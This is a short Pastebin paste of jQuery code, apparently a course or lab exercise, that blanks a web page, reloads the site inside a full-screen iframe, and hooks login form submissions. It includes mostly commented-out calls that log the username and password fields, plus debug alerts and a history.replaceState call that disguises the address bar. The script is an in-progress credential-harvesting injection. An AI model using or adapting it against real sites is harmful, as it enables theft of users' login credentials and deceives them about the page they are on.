Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $(function(){
- $("body").html("");
- var iframe = document.createElement("iframe");
- //$("body").append(iframe);
- iframe.id = "theframe";
- iframe.style.width = "100%";
- iframe.style.height = "100%";
- iframe.style.position = "absolute";
- document.body.appendChild(iframe);
- proxy("./");
- iframe.src = './';
- iframe.onload = function(){
- $('body', this.contentDocument).on('submit', 'form', function(event){
- //$("#log-in-btn", this.contentDocument).click(function(){
- //log({event: "./login", user: $("#username", this.contentDocument).val(), pass: $("#userpass", this.contentDocument).val()});
- //});
- alert($(this).attr('action'));
- $("#log-in-btn", this.contentDocument).submit(function(){
- alert('test1');
- //log({event: "./login", user: $("#username", this.contentDocument).val(), pass: $("#userpass", this.contentDocument).val()});
- });
- });
- /*$("#log-in-btn").click(function(e){
- alert('out1');
- log({event: "login", user: $("#username").val(), pass: $("#userpass").val()});
- });
- $("#log-in-btn").submit(function(e){
- alert('out2');
- log({event: "login", user: $("#username").val(), pass: $("#userpass").val()});
- });*/
- }
- history.replaceState({}, "Bungle!", "/");
- alert('go');
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement